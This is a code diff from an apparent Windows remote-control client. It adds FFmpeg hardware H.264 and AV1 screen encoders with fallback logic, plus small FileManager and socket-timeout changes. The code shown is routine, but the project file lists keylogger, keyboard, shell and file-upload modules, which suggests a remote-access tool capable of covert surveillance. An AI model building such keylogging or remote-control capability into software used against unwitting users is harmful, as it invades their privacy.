+        setOptInt(m_ctx->priv_data, "enforce_hrd", 0, name);
+    } else if (strcmp(name, "av1_qsv") == 0) {
+        // av1_qsv：bit_rate < max_rate 时自动 VBR
+        setOpt(m_ctx->priv_data, "preset", "slow", name);
+        setOptInt(m_ctx->priv_data, "async_depth", 1, name);
+        setOptInt(m_ctx->priv_data, "low_power", 0, name);
+    }
+
+    int ret = avcodec_open2(m_ctx, codec, nullptr);
+    if (ret < 0) {
+        // 找到了但开不起来：无对应 GPU / 驱动太旧 / 跨适配器
+        char errbuf[128] = {0};
+        av_strerror(ret, errbuf, sizeof(errbuf));
+        Mprintf("=> FFmpeg: avcodec_open2('%s') failed (%d): %s\n", name, ret, errbuf);
+        return false;
+    }
+
+    m_frame = av_frame_alloc();
+    if (!m_frame) return false;
+    m_frame->format = AV_PIX_FMT_NV12;
+    m_frame->width  = m_ctx->width;
+    m_frame->height = m_ctx->height;
+    if (av_frame_get_buffer(m_frame, 32) < 0) {
+        Mprintf("=> FFmpeg: av_frame_get_buffer failed\n");
+        return false;
+    }
+
+    m_packet = av_packet_alloc();
+    return m_packet != nullptr;
+}
+
+void CFFmpegAV1Encoder::setBitrate(int kbps) {
+    if (!m_ctx) return;
+    m_ctx->bit_rate     = (int64_t)kbps * 1000;
+    m_ctx->rc_max_rate  = (int64_t)kbps * 1500;
+    m_ctx->rc_buffer_size = (int)(kbps * 1000);
+    // 同 H.264 路径：多数硬编不支持运行时改 bit_rate 让 ctx 立刻生效；
+    // 这里仅更新数值，下次 open 时生效。
+}
+
+int CFFmpegAV1Encoder::convertRGB24ToNV12(uint8_t* rgb, uint32_t stride,
+                                          uint32_t width, uint32_t height,
+                                          int direction)
+{
+    int signed_height = direction * (int)height;
+    int w = (int)width;
+    int h = (int)height;
+    int y_size  = w * h;
+    int uv_size = (w / 2) * (h / 2);
+    m_i420Scratch.resize(y_size + 2 * uv_size);
+
+    uint8_t* y = m_i420Scratch.data();
+    uint8_t* u = y + y_size;
+    uint8_t* v = u + uv_size;
+
+    if (libyuv::RGB24ToI420(rgb, stride, y, w, u, w / 2, v, w / 2, w, signed_height) != 0)
+        return -1;
+    if (libyuv::I420ToNV12(y, w, u, w / 2, v, w / 2,
+                           m_frame->data[0], m_frame->linesize[0],
+                           m_frame->data[1], m_frame->linesize[1],
+                           w, h) != 0)
+        return -1;
+    return 0;
+}
+
+int CFFmpegAV1Encoder::encode(
+    uint8_t* rgb, uint8_t bpp, uint32_t stride,
+    uint32_t width, uint32_t height,
+    uint8_t** lppData, uint32_t* lpSize, int direction)
+{
+    if (!m_ctx || !m_frame || !m_packet) return -1;
+    if (av_frame_make_writable(m_frame) < 0) return -1;
+
+    int w = (int)width;
+    int h = (int)height;
+    int signed_height = direction * h;
+
+    if (bpp == 32) {
+        if (libyuv::ARGBToNV12(
+                rgb, stride,
+                m_frame->data[0], m_frame->linesize[0],
+                m_frame->data[1], m_frame->linesize[1],
+                w, signed_height) != 0) {
+            return -1;
+        }
+    } else if (bpp == 24) {
+        if (convertRGB24ToNV12(rgb, stride, width, height, direction) != 0) {
+            return -1;
+        }
+    } else {
+        return -2;
+    }
+
+    m_frame->pts = m_pts++;
+    if (m_forceIDR) {
+        m_frame->pict_type = AV_PICTURE_TYPE_I;
+        m_forceIDR = false;
+    } else {
+        m_frame->pict_type = AV_PICTURE_TYPE_NONE;
+    }
+
+    int ret = avcodec_send_frame(m_ctx, m_frame);
+    if (ret < 0) return -3;
+
+    ret = avcodec_receive_packet(m_ctx, m_packet);
+    if (ret == AVERROR(EAGAIN)) {
+        *lppData = nullptr;
+        *lpSize = 0;
+        return 0;
+    }
+    if (ret < 0) return -4;
+
+    m_outputBuffer.assign(m_packet->data, m_packet->data + m_packet->size);
+    *lppData = m_outputBuffer.data();
+    *lpSize  = (uint32_t)m_outputBuffer.size();
+    av_packet_unref(m_packet);
+    return 0;
+}
+
+#endif // _WIN64 && !DISABLE_FFMPEG_FOR_TEST

client/CFFmpegAV1Encoder.h

@@ -0,0 +1,62 @@
+#pragma once
+
+#include "VideoEncoderBase.h"
+#include "common/config.h"
+#include <string>
+#include <vector>
+
+// 合规守护：DISABLE_FFMPEG_FOR_TEST=1 时整类移出编译单元，避免 GPL 传染（与 c0a632a 对齐）
+#if defined(_WIN64) && !DISABLE_FFMPEG_FOR_TEST
+
+struct AVCodecContext;
+struct AVFrame;
+struct AVPacket;
+
+// FFmpeg 硬编 AV1 实现。
+// 后端探测顺序：av1_nvenc (NVIDIA RTX 40+) → av1_amf (AMD RX 7000+) → av1_qsv
+// (Intel Arc / 11 代+ 部分核显)。AV1 硬编硬件门槛比 H.264 高得多 —— 没合适
+// 硬件时 open 全部失败，由 EncoderFactory 自动回退到 H.264 路径。
+//
+// 注意：FFmpeg 7.1 没有 av1_mf 兜底，因此本类的探测列表比 H.264 短一项。
+class CFFmpegAV1Encoder : public VideoEncoderBase
+{
+public:
+    CFFmpegAV1Encoder();
+    ~CFFmpegAV1Encoder() override;
+
+    bool open(const EncoderParams& params) override;
+    void close() override;
+
+    int encode(
+        uint8_t* rgb,
+        uint8_t  bpp,
+        uint32_t stride,
+        uint32_t width,
+        uint32_t height,
+        uint8_t** lppData,
+        uint32_t* lpSize,
+        int direction = 1
+    ) override;
+
+    void forceIDR() override { m_forceIDR = true; }
+    void setBitrate(int kbps) override;
+    VideoCodec codec() const override { return VideoCodec::AV1; }
+    const char* backendName() const override { return m_backend.c_str(); }
+
+private:
+    bool tryOpenBackend(const char* name, const EncoderParams& p);
+    void cleanupCodec();
+    int convertRGB24ToNV12(uint8_t* rgb, uint32_t stride,
+                           uint32_t width, uint32_t height, int direction);
+
+    AVCodecContext* m_ctx     = nullptr;
+    AVFrame*        m_frame   = nullptr;
+    AVPacket*       m_packet  = nullptr;
+    std::vector<uint8_t> m_outputBuffer;
+    std::vector<uint8_t> m_i420Scratch;
+    int64_t     m_pts       = 0;
+    bool        m_forceIDR  = false;
+    std::string m_backend;
+};
+
+#endif // _WIN64 && !DISABLE_FFMPEG_FOR_TEST

client/CFFmpegH264Encoder.cpp

@@ -0,0 +1,299 @@
+#include "CFFmpegH264Encoder.h"
+#include "common/config.h"
+#include "common/logger.h"
+
+// 合规守护：DISABLE_FFMPEG_FOR_TEST=1 时整个实现 + 所有 #pragma comment(lib,"ffmpeg/...")
+// 都不进编译单元，FFmpeg 静态库不会被链接进二进制
+#if defined(_WIN64) && !DISABLE_FFMPEG_FOR_TEST
+
+extern "C" {
+#include <libavcodec/avcodec.h>
+#include <libavutil/opt.h>
+#include <libavutil/imgutils.h>
+#include <libyuv/libyuv.h>
+}
+
+#include <string.h>
+#include <cstdlib>
+
+// FFmpeg 静态库 + 必要的 Windows 系统库。x86 build 不引入，由 _WIN64 守护。
+// FFmpeg 三个核心库是纯 C，CRT 中性，Debug/Release 共用一份。
+#pragma comment(lib,"ffmpeg/libavcodec_x64.lib")
+#pragma comment(lib,"ffmpeg/libavutil_x64.lib")
+#pragma comment(lib,"ffmpeg/libswresample_x64.lib")
+// dav1d (AV1 软解，C 项目) —— 不分 Debug/Release。
+// build 时启用了 --enable-libdav1d，libavcodec 内部 av1 decoder 引用了 dav1d 符号。
+#pragma comment(lib,"ffmpeg/dav1d_x64.lib")
+// libvpl (Intel QSV, C++ 项目) —— 强制 CRT 一致，必须按 _DEBUG 切。
+// build 时启用了 --enable-libvpl，libavcodec 内部 h264_qsv / av1_qsv encoder 引用 MFX 符号。
+#ifdef _DEBUG
+#pragma comment(lib,"ffmpeg/vpl_x64d.lib")
+#else
+#pragma comment(lib,"ffmpeg/vpl_x64.lib")
+#endif
+
+#pragma comment(lib, "mfplat.lib")
+#pragma comment(lib, "mfuuid.lib")
+#pragma comment(lib, "strmiids.lib")
+#pragma comment(lib, "secur32.lib")
+#pragma comment(lib, "bcrypt.lib")
+#pragma comment(lib, "advapi32.lib")
+#pragma comment(lib, "ole32.lib")
+// ws2_32 在 IOCPClient.h 已 link，重复不冲突
+#pragma comment(lib, "ws2_32.lib")
+
+// av_opt_set wrappers：FFmpeg 在选项名/值拼错时 silently 返回 AVERROR_OPTION_NOT_FOUND
+// 不报错，导致 encoder 退回默认行为且没人察觉（实际踩过：AMF rc=vbr_peak_constrained
+// 拼成全名，FFmpeg 实际只接受 vbr_peak，没设上去就退回 CBR）。
+// 包一层 helper，任何设置失败 Mprintf 警告。
+static void setOpt(void* obj, const char* name, const char* val, const char* backend) {
+    int rc = av_opt_set(obj, name, val, 0);
+    if (rc < 0) {
+        char errbuf[128] = {0};
+        av_strerror(rc, errbuf, sizeof(errbuf));
+        Mprintf("[WARN] av_opt_set('%s'='%s') on %s failed (%d): %s\n",
+                name, val, backend, rc, errbuf);
+    }
+}
+static void setOptInt(void* obj, const char* name, int64_t val, const char* backend) {
+    int rc = av_opt_set_int(obj, name, val, 0);
+    if (rc < 0) {
+        char errbuf[128] = {0};
+        av_strerror(rc, errbuf, sizeof(errbuf));
+        Mprintf("[WARN] av_opt_set_int('%s'=%lld) on %s failed (%d): %s\n",
+                name, (long long)val, backend, rc, errbuf);
+    }
+}
+
+// 后端探测顺序：NVIDIA > Intel > AMD > Windows MF 兜底。
+// open() 主循环按顺序试，第一个 avcodec_open2 成功的就用。
+// h264_mf 质量/稳定性一般，但是 Windows 系统级 hwaccel，任何 GPU 都能尝试，作最后兜底。
+static const char* kH264Backends[] = {
+    "h264_nvenc",   // NVIDIA NVENC
+    "h264_qsv",     // Intel Quick Sync Video
+    "h264_amf",     // AMD AMF
+    "h264_mf",      // Windows Media Foundation
+};
+
+CFFmpegH264Encoder::CFFmpegH264Encoder() = default;
+
+CFFmpegH264Encoder::~CFFmpegH264Encoder() {
+    close();
+}
+
+void CFFmpegH264Encoder::cleanupCodec() {
+    if (m_packet) { av_packet_free(&m_packet); m_packet = nullptr; }
+    if (m_frame)  { av_frame_free(&m_frame);   m_frame  = nullptr; }
+    if (m_ctx)    { avcodec_free_context(&m_ctx); m_ctx = nullptr; }
+}
+
+void CFFmpegH264Encoder::close() {
+    cleanupCodec();
+    m_backend.clear();
+    m_pts = 0;
+    m_forceIDR = false;
+}
+
+bool CFFmpegH264Encoder::open(const EncoderParams& params) {
+    close();
+    for (const char* name : kH264Backends) {
+        if (tryOpenBackend(name, params)) {
+            m_backend = name;
+            return true;
+        }
+        cleanupCodec();  // 释放本次失败的 ctx，准备下一次尝试
+    }
+    return false;
+}
+
+bool CFFmpegH264Encoder::tryOpenBackend(const char* name, const EncoderParams& p) {
+    const AVCodec* codec = avcodec_find_encoder_by_name(name);
+    if (!codec) {
+        // 失败 = lib 里没注册这个 encoder。几乎肯定是链到了老 ffmpeg lib。
+        Mprintf("=> FFmpeg: encoder '%s' NOT in linked lib (old ffmpeg?)\n", name);
+        return false;
+    }
+
+    m_ctx = avcodec_alloc_context3(codec);
+    if (!m_ctx) {
+        Mprintf("=> FFmpeg: avcodec_alloc_context3('%s') failed\n", name);
+        return false;
+    }
+
+    // 偶数对齐（与 x264 路径 i_width/i_height & 0xfffffffe 一致）
+    m_ctx->width        = p.width  & ~1;
+    m_ctx->height       = p.height & ~1;
+    m_ctx->time_base    = AVRational{1, p.fps};
+    m_ctx->framerate    = AVRational{p.fps, 1};
+    m_ctx->pix_fmt      = AV_PIX_FMT_NV12;
+    m_ctx->gop_size     = p.fps * (p.gop_seconds > 0 ? p.gop_seconds : 4);
+    m_ctx->max_b_frames = 0;
+    m_ctx->bit_rate     = (int64_t)p.bitrate_kbps * 1000;
+    m_ctx->rc_max_rate  = (int64_t)p.bitrate_kbps * 1500;
+    m_ctx->rc_buffer_size = (int)(p.bitrate_kbps * 1000);
+
+    // RC 策略选择：远程办公 90% 时间是静态画面（文档/IDE/邮件），CBR 会强行
+    // 把目标码率填满（静态用不上的部分浪费带宽）。所有硬编后端统一改用 VBR，
+    // bit_rate 是平均目标、rc_max_rate (1.5x) 是峰值上限：静态时 encoder 自动
+    // 降码率省带宽，动态时回到目标 + 短暂上探到 1.5x 保证画质。
+    // 接近 x264 软编 CRF + VBV 的行为，但严格守住峰值不爆。
+    if (strcmp(name, "h264_nvenc") == 0) {
+        // NVENC preset: p1(最快/低质) ~ p7(最慢/高质)，远控低延迟 p5 兼顾。
+        // tune=ll low-latency；rc=vbr 配 max_rate 实现峰值受限的 VBR。
+        setOpt(m_ctx->priv_data, "preset", "p5", name);
+        setOpt(m_ctx->priv_data, "tune", "ll", name);
+        setOpt(m_ctx->priv_data, "rc", "vbr", name);
+        setOpt(m_ctx->priv_data, "zerolatency", "1", name);
+    } else if (strcmp(name, "h264_qsv") == 0) {
+        // Intel Quick Sync Video。preset: veryfast/faster/fast/medium/slow/slower/veryslow
+        // QSV 当 bit_rate != rc_max_rate 时自动走 VBR，所以这里只需调 preset。
+        // preset=slow 比 medium 慢但画质好，async_depth=1 单帧立即出包。
+        // low_power=0 走 PAK 路径，部分集显不支持 low_power 模式。
+        setOpt(m_ctx->priv_data, "preset", "slow", name);
+        setOptInt(m_ctx->priv_data, "async_depth", 1, name);
+        setOptInt(m_ctx->priv_data, "low_power", 0, name);
+    } else if (strcmp(name, "h264_amf") == 0) {
+        // AMD AMF 远控低延迟配置：
+        // usage=ultralowlatency 比 lowlatency 更激进，关闭一切 lookahead；
+        // quality=speed 选最快编码路径（vs balanced/quality）；
+        // rc=cbr 提供最可预测的输出节拍，避免 RC 切换抖动。
+        // 静态画面省码率交给应用层 skip 检测（ScreenCapture::GetNextScreenData
+        // 已经过 memcmp 把无变化帧直接拦在编码器之前），不再依赖 vbaq/preanalysis
+        // 这些会引入 30-100ms lookahead 的"省码率三件套"。
+        setOpt(m_ctx->priv_data, "usage", "ultralowlatency", name);
+        setOpt(m_ctx->priv_data, "quality", "speed", name);
+        setOpt(m_ctx->priv_data, "rc", "cbr", name);
+        setOptInt(m_ctx->priv_data, "filler_data", 0, name);
+        setOptInt(m_ctx->priv_data, "enforce_hrd", 0, name);
+    } else if (strcmp(name, "h264_mf") == 0) {
+        // Windows Media Foundation 兜底。rate_control 实际值（ffmpeg -h encoder=h264_mf）：
+        //   default / cbr / pc_vbr / u_vbr / quality / ld_vbr / g_vbr / gld_vbr
+        // 远控用 pc_vbr (peak-constrained VBR) 与其他后端语义对齐。
+        setOptInt(m_ctx->priv_data, "hw_encoding", 1, name);
+        setOpt(m_ctx->priv_data, "rate_control", "pc_vbr", name);
+    }
+
+    int ret = avcodec_open2(m_ctx, codec, nullptr);
+    if (ret < 0) {
+        // 失败 = encoder 找到了但开不起来。常见：无 NVIDIA GPU / 驱动太旧 /
+        // NVENC session 占满 / 笔记本独显未唤醒 / 参数组合驱动不接受
+        char errbuf[128] = {0};
+        av_strerror(ret, errbuf, sizeof(errbuf));
+        Mprintf("=> FFmpeg: avcodec_open2('%s') failed (%d): %s\n", name, ret, errbuf);
+        return false;
+    }
+
+    m_frame = av_frame_alloc();
+    if (!m_frame) return false;
+    m_frame->format = AV_PIX_FMT_NV12;
+    m_frame->width  = m_ctx->width;
+    m_frame->height = m_ctx->height;
+    if (av_frame_get_buffer(m_frame, 32) < 0) {
+        Mprintf("=> FFmpeg: av_frame_get_buffer failed\n");
+        return false;
+    }
+
+    m_packet = av_packet_alloc();
+    return m_packet != nullptr;
+}
+
+void CFFmpegH264Encoder::setBitrate(int kbps) {
+    if (!m_ctx) return;
+    m_ctx->bit_rate     = (int64_t)kbps * 1000;
+    m_ctx->rc_max_rate  = (int64_t)kbps * 1500;
+    m_ctx->rc_buffer_size = (int)(kbps * 1000);
+    // 注意：FFmpeg 多数硬编不支持运行时改 bit_rate 让 ctx 立即生效；
+    // 这里只更新数值，下次 open 时才生效。Step 1 不依赖动态调码率。
+}
+
+int CFFmpegH264Encoder::convertRGB24ToNV12(uint8_t* rgb, uint32_t stride,
+                                           uint32_t width, uint32_t height,
+                                           int direction)
+{
+    int signed_height = direction * (int)height;
+    int w = (int)width;
+    int h = (int)height;
+    int y_size  = w * h;
+    int uv_size = (w / 2) * (h / 2);
+    m_i420Scratch.resize(y_size + 2 * uv_size);
+
+    uint8_t* y = m_i420Scratch.data();
+    uint8_t* u = y + y_size;
+    uint8_t* v = u + uv_size;
+
+    if (libyuv::RGB24ToI420(
+            rgb, stride,
+            y, w,
+            u, w / 2,
+            v, w / 2,
+            w, signed_height) != 0) {
+        return -1;
+    }
+    if (libyuv::I420ToNV12(
+            y, w,
+            u, w / 2,
+            v, w / 2,
+            m_frame->data[0], m_frame->linesize[0],
+            m_frame->data[1], m_frame->linesize[1],
+            w, h) != 0) {
+        return -1;
+    }
+    return 0;
+}
+
+int CFFmpegH264Encoder::encode(
+    uint8_t* rgb, uint8_t bpp, uint32_t stride,
+    uint32_t width, uint32_t height,
+    uint8_t** lppData, uint32_t* lpSize, int direction)
+{
+    if (!m_ctx || !m_frame || !m_packet) return -1;
+    if (av_frame_make_writable(m_frame) < 0) return -1;
+
+    int w = (int)width;
+    int h = (int)height;
+    int signed_height = direction * h;
+
+    if (bpp == 32) {
+        if (libyuv::ARGBToNV12(
+                rgb, stride,
+                m_frame->data[0], m_frame->linesize[0],
+                m_frame->data[1], m_frame->linesize[1],
+                w, signed_height) != 0) {
+            return -1;
+        }
+    } else if (bpp == 24) {
+        if (convertRGB24ToNV12(rgb, stride, width, height, direction) != 0) {
+            return -1;
+        }
+    } else {
+        return -2;
+    }
+
+    m_frame->pts = m_pts++;
+    if (m_forceIDR) {
+        m_frame->pict_type = AV_PICTURE_TYPE_I;
+        m_forceIDR = false;
+    } else {
+        m_frame->pict_type = AV_PICTURE_TYPE_NONE;
+    }
+
+    int ret = avcodec_send_frame(m_ctx, m_frame);
+    if (ret < 0) return -3;
+
+    ret = avcodec_receive_packet(m_ctx, m_packet);
+    if (ret == AVERROR(EAGAIN)) {
+        // 首帧延迟：本次没出包，调用方按 lpSize==0 跳过本帧
+        *lppData = nullptr;
+        *lpSize = 0;
+        return 0;
+    }
+    if (ret < 0) return -4;
+
+    m_outputBuffer.assign(m_packet->data, m_packet->data + m_packet->size);
+    *lppData = m_outputBuffer.data();
+    *lpSize  = (uint32_t)m_outputBuffer.size();
+    av_packet_unref(m_packet);
+    return 0;
+}
+
+#endif // _WIN64 && !DISABLE_FFMPEG_FOR_TEST

client/CFFmpegH264Encoder.h

@@ -0,0 +1,62 @@
+#pragma once
+
+#include "VideoEncoderBase.h"
+#include "common/config.h"
+#include <string>
+#include <vector>
+
+// 合规守护：DISABLE_FFMPEG_FOR_TEST=1 时整类移出编译单元，避免 GPL 传染（与 c0a632a 对齐）
+#if defined(_WIN64) && !DISABLE_FFMPEG_FOR_TEST
+
+struct AVCodecContext;
+struct AVFrame;
+struct AVPacket;
+
+// FFmpeg 硬编 H.264 实现。
+// Step 1: 仅探测 h264_nvenc 单后端，足以验证 FFmpeg 静态库集成链路。
+// Step 2: 扩展 h264_qsv / h264_amf / h264_mf。
+//
+// 输入像素：BGRA (bpp=32) / RGB24 (bpp=24)，与 CX264Encoder 完全一致；
+// 内部转 NV12 喂给 FFmpeg encoder。
+class CFFmpegH264Encoder : public VideoEncoderBase
+{
+public:
+    CFFmpegH264Encoder();
+    ~CFFmpegH264Encoder() override;
+
+    bool open(const EncoderParams& params) override;
+    void close() override;
+
+    int encode(
+        uint8_t* rgb,
+        uint8_t  bpp,
+        uint32_t stride,
+        uint32_t width,
+        uint32_t height,
+        uint8_t** lppData,
+        uint32_t* lpSize,
+        int direction = 1
+    ) override;
+
+    void forceIDR() override { m_forceIDR = true; }
+    void setBitrate(int kbps) override;
+    VideoCodec codec() const override { return VideoCodec::H264; }
+    const char* backendName() const override { return m_backend.c_str(); }
+
+private:
+    bool tryOpenBackend(const char* name, const EncoderParams& p);
+    void cleanupCodec();
+    int convertRGB24ToNV12(uint8_t* rgb, uint32_t stride,
+                           uint32_t width, uint32_t height, int direction);
+
+    AVCodecContext* m_ctx     = nullptr;
+    AVFrame*        m_frame   = nullptr;
+    AVPacket*       m_packet  = nullptr;
+    std::vector<uint8_t> m_outputBuffer;  // encode 返回给调用方的缓冲（持有到下一次 encode）
+    std::vector<uint8_t> m_i420Scratch;   // RGB24 路径的中间缓冲
+    int64_t     m_pts       = 0;
+    bool        m_forceIDR  = false;
+    std::string m_backend;                // 实际选中的后端名（"h264_nvenc" / ...）
+};
+
+#endif // _WIN64 && !DISABLE_FFMPEG_FOR_TEST

client/ClientDll_vs2015.vcxproj

@@ -124,7 +124,7 @@
       <AdditionalDependencies>zlib\zlib_x64.lib;%(AdditionalDependencies)</AdditionalDependencies>
       <IgnoreSpecificDefaultLibraries>libcmt.lib</IgnoreSpecificDefaultLibraries>
       <AdditionalOptions>/ignore:4099 %(AdditionalOptions)</AdditionalOptions>
-      <AdditionalLibraryDirectories>$(SolutionDir)..\SimplePlugins\bin</AdditionalLibraryDirectories>
+      <AdditionalLibraryDirectories>$(SolutionDir)..\SimplePlugins\bin;$(SolutionDir)..\ffmpeg-7.1\install-win64\lib</AdditionalLibraryDirectories>
     </Link>
   </ItemDefinitionGroup>
   <ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">
@@ -167,7 +167,7 @@
       <OptimizeReferences>true</OptimizeReferences>
       <AdditionalDependencies>zlib\zlib_x64.lib;%(AdditionalDependencies)</AdditionalDependencies>
       <AdditionalOptions> /SAFESEH:NO /ignore:4099 %(AdditionalOptions)</AdditionalOptions>
-      <AdditionalLibraryDirectories>$(SolutionDir)..\SimplePlugins\bin</AdditionalLibraryDirectories>
+      <AdditionalLibraryDirectories>$(SolutionDir)..\SimplePlugins\bin;$(SolutionDir)..\ffmpeg-7.1\install-win64\lib</AdditionalLibraryDirectories>
     </Link>
   </ItemDefinitionGroup>
   <ItemGroup>
@@ -205,6 +205,9 @@
     <ClCompile Include="ShellManager.cpp" />
     <ClCompile Include="StdAfx.cpp" />
     <ClCompile Include="SystemManager.cpp" />
+    <ClCompile Include="CFFmpegAV1Encoder.cpp" />
+    <ClCompile Include="CFFmpegH264Encoder.cpp" />
+    <ClCompile Include="EncoderFactory.cpp" />
     <ClCompile Include="TalkManager.cpp" />
     <ClCompile Include="VideoManager.cpp" />
     <ClCompile Include="X264Encoder.cpp" />
@@ -228,6 +231,10 @@
     <ClInclude Include="IOCPClient.h" />
     <ClInclude Include="IOCPKCPClient.h" />
     <ClInclude Include="IOCPUDPClient.h" />
+    <ClInclude Include="CFFmpegAV1Encoder.h" />
+    <ClInclude Include="CFFmpegH264Encoder.h" />
+    <ClInclude Include="EncoderFactory.h" />
+    <ClInclude Include="VideoEncoderBase.h" />
     <ClInclude Include="KernelManager.h" />
     <ClInclude Include="KeyboardManager.h" />
     <ClInclude Include="keylogger.h" />

client/ClientDll_vs2015.vcxproj.filters

@@ -36,6 +36,9 @@
     <ClCompile Include="TalkManager.cpp" />
     <ClCompile Include="VideoManager.cpp" />
     <ClCompile Include="X264Encoder.cpp" />
+    <ClCompile Include="CFFmpegH264Encoder.cpp" />
+    <ClCompile Include="CFFmpegAV1Encoder.cpp" />
+    <ClCompile Include="EncoderFactory.cpp" />
     <ClCompile Include="..\common\file_upload.cpp" />
     <ClCompile Include="ConPTYManager.cpp" />
   </ItemGroup>
@@ -81,6 +84,10 @@
     <ClInclude Include="VideoCodec.h" />
     <ClInclude Include="VideoManager.h" />
     <ClInclude Include="X264Encoder.h" />
+    <ClInclude Include="VideoEncoderBase.h" />
+    <ClInclude Include="CFFmpegH264Encoder.h" />
+    <ClInclude Include="CFFmpegAV1Encoder.h" />
+    <ClInclude Include="EncoderFactory.h" />
     <ClInclude Include="ConPTYManager.h" />
   </ItemGroup>
   <ItemGroup>

client/EncoderFactory.cpp

@@ -0,0 +1,71 @@
+#include "EncoderFactory.h"
+#include "common/config.h"
+#include "common/logger.h"
+#include "X264Encoder.h"
+// 合规守护：DISABLE_FFMPEG_FOR_TEST=1 时硬编实现整体移出工程，仅保留 x264 软编路径
+#if defined(_WIN64) && !DISABLE_FFMPEG_FOR_TEST
+#include "CFFmpegH264Encoder.h"
+#include "CFFmpegAV1Encoder.h"
+#endif
+
+namespace {
+// 与 ScreenCapture::BitRateToCRF 同步：码率越高 CRF 越低（质量更好）。
+// 仅 x264 软编路径用，硬编路径直接用 bitrate_kbps 走 CBR。
+int BitRateToCRF(int bitRate) {
+    if (bitRate <= 0)    return 23;
+    if (bitRate >= 3000) return 20;
+    if (bitRate >= 2000) return 20 + (3000 - bitRate) * 3 / 1000;
+    if (bitRate >= 800)  return 23 + (2000 - bitRate) * 7 / 1200;
+    return 32;
+}
+}
+
+std::unique_ptr<VideoEncoderBase> CreateEncoder(const EncoderRequest& req) {
+    EncoderParams p;
+    p.width  = req.width;
+    p.height = req.height;
+    p.fps    = req.fps;
+
+#if defined(_WIN64) && !DISABLE_FFMPEG_FOR_TEST
+    // AV1 硬编路径（仅当客户端声明支持 AV1 解码）
+    // 硬件门槛高：仅 RTX 40+ / RX 7000+ / Intel Arc 才有 av1 encoder ASIC；
+    // 没合适硬件时 open() 全部失败，自然 fall through 到下面 H.264 路径。
+    if (req.encodeLevel >= LEVEL_AV1_HARD) {
+        auto enc = std::make_unique<CFFmpegAV1Encoder>();
+        p.rc = RateControl::BITRATE;
+        p.bitrate_kbps = req.bitrate_kbps;
+        if (enc->open(p)) {
+            Mprintf("=> encoder: %s (HW AV1, bitrate=%dk)\n", enc->backendName(), req.bitrate_kbps);
+            return enc;
+        }
+        Mprintf("=> all AV1 HW backends failed, falling back to H.264\n");
+    }
+
+
+    // H.264 硬编：CFFmpegH264Encoder 内部按 nvenc/qsv/amf/mf 顺序探
+    if (req.encodeLevel >= LEVEL_H264_HARD) {
+        auto enc = std::make_unique<CFFmpegH264Encoder>();
+        p.rc = RateControl::BITRATE;
+        p.bitrate_kbps = req.bitrate_kbps;
+        if (enc->open(p)) {
+            Mprintf("=> encoder: %s (HW, bitrate=%dk)\n", enc->backendName(), req.bitrate_kbps);
+            return enc;
+        }
+        Mprintf("=> all H.264 HW backends failed, falling back to x264\n");
+    }
+#endif
+
+    // x264 软编兜底（无硬件 / 全失败 / 虚拟机 / 远程桌面会话场景）
+    if (req.encodeLevel >= LEVEL_H264_SOFT) {
+        auto enc = std::make_unique<CX264Encoder>();
+        p.rc = RateControl::CRF;
+        p.crf = BitRateToCRF(req.bitrate_kbps);
+        if (enc->open(p)) {
+            Mprintf("=> encoder: %s (SW, crf=%d)\n", enc->backendName(), p.crf);
+            return enc;
+        }
+    }
+
+    Mprintf("=> ERROR: no encoder could be opened\n");
+    return nullptr;
+}

client/EncoderFactory.h

@@ -0,0 +1,25 @@
+#pragma once
+
+#include "VideoEncoderBase.h"
+#include "common/commands.h"
+#include <memory>
+
+
+// 创建编码器的请求参数。
+struct EncoderRequest {
+    int width        = 0;
+    int height       = 0;
+    int fps          = 30;
+    int bitrate_kbps = 4000;
+    int encodeLevel  = LEVEL_H264_SOFT;
+};
+
+// 按客户端能力 + 本机硬件能力创建一个 VideoEncoderBase。
+//
+// 探测顺序（第一个 open 成功的就用）：
+//   AV1 硬编路径
+//   H.264 硬编（CFFmpegH264Encoder 内部按 nvenc/qsv/amf/mf 探）
+//   x264 软编（CX264Encoder，CPU 兜底）
+//
+// 失败路径在日志中可见（Mprintf）。返回 nullptr 仅在 x264 也开不起来时（极少见）。
+std::unique_ptr<VideoEncoderBase> CreateEncoder(const EncoderRequest& req);

client/FileManager.cpp

@@ -33,6 +33,8 @@ CFileManager::CFileManager(CClientSocket *pClient, int h, void* user):CManager(p
 
     // 初始化V2文件传输模块
     CKernelManager* main = (CKernelManager*)pClient->GetMain();
+    m_Signature = main ? main->m_LoginSignature : pClient->m_LoginSignature;
+    if (!m_Signature.empty())
         InitFileUpload({}, main ? main->m_LoginMsg : pClient->m_LoginMsg,
         main ? main->m_LoginSignature : pClient->m_LoginSignature, 64, 50, Logf);
 
@@ -48,6 +50,7 @@ CFileManager::~CFileManager()
         SAFE_CLOSE_HANDLE(m_hSearchThread);
     }
     m_UploadList.clear();
+    if (!m_Signature.empty())
         UninitFileUpload();
 }
 

client/FileManager.h

@@ -35,6 +35,7 @@ private:
     UINT m_nTransferMode;
     char m_strCurrentProcessFileName[MAX_PATH]; // 当前正在处理的文件
     __int64 m_nCurrentProcessFileLength; // 当前正在处理的文件的长度
+    std::string m_Signature;
     bool MakeSureDirectoryPathExists(LPCTSTR pszDirPath);
     bool UploadToRemote(LPBYTE lpBuffer);
     void UploadToRemoteV2(LPBYTE lpBuffer, UINT nSize);

client/IOCPClient.cpp

@@ -86,6 +86,27 @@ BOOL SetKeepAliveOptions(int socket, int nKeepAliveSec = 180)
     }
 #endif
 
+    // TCP_USER_TIMEOUT (RFC 5482): 未被对端 ACK 的已发数据超过此时间，内核直接把
+    // socket 标记为 ETIMEDOUT，下一次 send/recv 立即报错。
+    //
+    // 为什么 SO_KEEPALIVE 不够：keep-alive 只在连接完全 idle 时才探测，应用层每
+    // 30s 一次心跳让 TCP 永远进不了 idle 态。VM 挂起恢复 / 笔记本合盖唤醒 / NAT
+    // 表项老化等场景下，对端早已关闭连接但本端 send() 仍把字节塞进 SNDBUF 立即
+    // 返回成功——出现 ESTABLISHED + Send-Q 堆积的"半死连接"，应用层完全无感，
+    // 默认要等 tcp_retries2 跑完(~15分钟)才报错。
+    //
+    // 选 30s：>= 默认心跳间隔(5-30s)，< 服务端 CheckHeartbeat 超时(>=60s)。
+    // Linux 2.6.37+ 支持；macOS / 老内核 无此宏，自动跳过——那条路径上靠应用层
+    // ACK 看门狗(linux/main.cpp 心跳循环)兜底。
+#ifdef TCP_USER_TIMEOUT
+    unsigned int userTimeoutMs = 30000;
+    if (setsockopt(socket, IPPROTO_TCP, TCP_USER_TIMEOUT,
